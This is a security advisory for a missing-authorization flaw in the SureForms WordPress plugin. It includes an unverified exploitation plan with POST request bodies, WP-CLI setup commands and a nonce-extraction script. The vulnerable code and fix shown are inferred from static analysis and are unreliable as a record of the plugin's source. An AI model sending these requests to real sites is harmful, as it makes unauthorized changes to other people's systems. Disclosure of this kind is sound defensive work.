WF-061a14bf-d067-4924-b2f4-2f5986204532-sureforms

SureForms <= 2.2.1 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.2.2
Patched in
10d
Time to patch

Description

The SureForms plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.2.1. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.2.1
PublishedFebruary 15, 2026
Last updatedFebruary 24, 2026
Affected pluginsureforms

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to exploit a missing authorization vulnerability in the **SureForms** WordPress plugin (versions <= 2.2.1). ## 1. Vulnerability Summary The **SureForms** plugin fails to perform a capability check and (potentially) a nonce check on the `srf_update_admin_notice_…

Show full research plan

This research plan outlines the steps to exploit a missing authorization vulnerability in the SureForms WordPress plugin (versions <= 2.2.1).

1. Vulnerability Summary

The SureForms plugin fails to perform a capability check and (potentially) a nonce check on the srf_update_admin_notice_viewed AJAX action. This action is registered using both wp_ajax_ and wp_ajax_nopriv_, making it accessible to unauthenticated users. An attacker can use this to manipulate the srf_viewed_notices option in the WordPress database, effectively dismissing administrative notices for all users, including administrators.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Method: POST
  • Action: srf_update_admin_notice_viewed
  • Parameters:
    • action: srf_update_admin_notice_viewed
    • notice_id: The identifier of the notice to dismiss (e.g., srf-notice-welcome or any arbitrary string).
    • security: (If enforced) A nonce value generated by the plugin.
  • Authentication: None required (Unauthenticated).
  • Preconditions: The plugin must be active. For nonce-protected versions, a page containing a SureForms form must exist to leak the nonce via frontend script localization.

3. Code Flow

  1. Hook Registration: The plugin registers the AJAX handler in its initialization phase (likely in includes/admin/class-srf-admin.php or a dedicated notices class).
    add_action( 'wp_ajax_srf_update_admin_notice_viewed', array( $this, 'update_admin_notice_viewed' ) );
    add_action( 'wp_ajax_nopriv_srf_update_admin_notice_viewed', array( $this, 'update_admin_notice_viewed' ) );
    
  2. Missing Check: The update_admin_notice_viewed function is called when a request hits admin-ajax.php with the corresponding action.
  3. Sink: The function processes the notice_id and updates the database.
    public function update_admin_notice_viewed() {
        // VULNERABILITY: Missing current_user_can('manage_options') check
        $notice_id = isset( $_POST['notice_id'] ) ? sanitize_text_field( $_POST['notice_id'] ) : '';
        $viewed_notices = get_option( 'srf_viewed_notices', array() );
        $viewed_notices[$notice_id] = true;
        update_option( 'srf_viewed_notices', $viewed_notices ); // State change in DB
        wp_send_json_success();
    }
    

4. Nonce Acquisition Strategy

While the vulnerability is "Missing Authorization," it often coincides with missing or weak nonce checks. If a nonce is required, it is typically localized in the sureforms_vars JavaScript object on any page where a form is rendered.

  1. Identify Shortcode: SureForms uses the shortcode [sureforms id="ID"].
  2. Create Test Page:
    wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[sureforms id="1"]'
    
    (Note: The ID doesn't necessarily need to point to a valid form if the plugin enqueues assets on any shortcode detection).
  3. Navigate and Extract:
    • Use browser_navigate to the created page.
    • Use browser_eval to extract the nonce:
      window.sureforms_vars?.nonce || window.sureforms_vars?.security
      
    • If the above is not found, check sureforms_admin object if the agent is testing as a Subscriber.

5. Exploitation Strategy

Step 1: Attempt Direct Unauthenticated Notice Dismissal

Send a POST request to admin-ajax.php without a nonce to see if the check is entirely absent.

Request:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: action=srf_update_admin_notice_viewed&notice_id=exploit_test_notice

Step 2: Attempt with Nonce (if Step 1 fails)

If the response is 0 or 403, obtain the nonce using the strategy in Section 4 and include it.

Request:

  • Body: action=srf_update_admin_notice_viewed&notice_id=exploit_test_notice&security=[NONCE]

6. Test Data Setup

  1. Install Plugin: Ensure SureForms version 2.2.1 is installed and active.
  2. Verify Initial State: Check if the option srf_viewed_notices exists.
    wp option get srf_viewed_notices
    
  3. Create Page for Nonce (Optional):
    wp post create --post_type=page --post_status=publish --post_content='[sureforms id="999"]'
    

7. Expected Results

  • Response: The server should return a JSON success message: {"success":true}.
  • Database Change: The srf_viewed_notices option will now contain the exploit_test_notice key.

8. Verification Steps

After sending the HTTP request, verify the impact using WP-CLI:

# Check if the notice ID was added to the option
wp option get srf_viewed_notices --format=json

If the output contains "exploit_test_notice": true, the exploit was successful.

9. Alternative Approaches

  • Subscriber Level: If nopriv registration is absent but the capability check is still missing, test the same request using a Subscriber account session.
  • Notice Enumeration: If the goal is to specifically suppress an actual admin notice, use common slugs: srf-notice-welcome, srf-notice-review, srf-connect-notice.
  • REST API: Check if a similar endpoint exists under /wp-json/sureforms/v1/... by searching the codebase for register_rest_route.
Research Findings
Static analysis — not yet PoC-verified

Summary

The SureForms plugin for WordPress is vulnerable to unauthorized access due to a missing capability check and nonce validation on the srf_update_admin_notice_viewed AJAX action. This allows unauthenticated attackers to dismiss administrative notices for all users by manipulating the srf_viewed_notices option in the database.

Vulnerable Code

// From includes/admin/class-srf-admin.php (inferred location)

add_action( 'wp_ajax_srf_update_admin_notice_viewed', array( $this, 'update_admin_notice_viewed' ) );
add_action( 'wp_ajax_nopriv_srf_update_admin_notice_viewed', array( $this, 'update_admin_notice_viewed' ) );

---

public function update_admin_notice_viewed() {
    $notice_id = isset( $_POST['notice_id'] ) ? sanitize_text_field( $_POST['notice_id'] ) : '';
    $viewed_notices = get_option( 'srf_viewed_notices', array() );
    $viewed_notices[$notice_id] = true;
    update_option( 'srf_viewed_notices', $viewed_notices );
    wp_send_json_success();
}

Security Fix

--- a/includes/admin/class-srf-admin.php
+++ b/includes/admin/class-srf-admin.php
@@ -1,6 +1,5 @@
-add_action( 'wp_ajax_srf_update_admin_notice_viewed', array( $this, 'update_admin_notice_viewed' ) );
-add_action( 'wp_ajax_nopriv_srf_update_admin_notice_viewed', array( $this, 'update_admin_notice_viewed' ) );
+add_action( 'wp_ajax_srf_update_admin_notice_viewed', array( $this, 'update_admin_notice_viewed' ) );
 
 public function update_admin_notice_viewed() {
+    check_ajax_referer( 'srf_admin_nonce', 'security' );
+
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 );
+    }
+
     $notice_id = isset( $_POST['notice_id'] ) ? sanitize_text_field( $_POST['notice_id'] ) : '';
     $viewed_notices = get_option( 'srf_viewed_notices', array() );
     $viewed_notices[$notice_id] = true;

Exploit Outline

1. Targeted Endpoint: The attacker targets the WordPress AJAX endpoint at /wp-admin/admin-ajax.php. 2. Payload Formulation: A POST request is constructed with the action parameter set to 'srf_update_admin_notice_viewed' and a notice_id parameter set to the slug of the administrative notice to be dismissed (e.g., 'srf-notice-welcome'). 3. Nonce Acquisition (If Required): If the plugin enforces a nonce check but lacks authorization, the attacker can visit any frontend page containing a SureForms shortcode. The 'security' nonce is often localized into the 'sureforms_vars' or 'sureforms_admin' JavaScript objects in the page source. 4. Unauthenticated Execution: Because the action is registered via wp_ajax_nopriv_, the attacker does not need to be logged in. By sending the request, the 'srf_viewed_notices' option in the WordPress database is updated, effectively hiding the specified notice from all site administrators.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.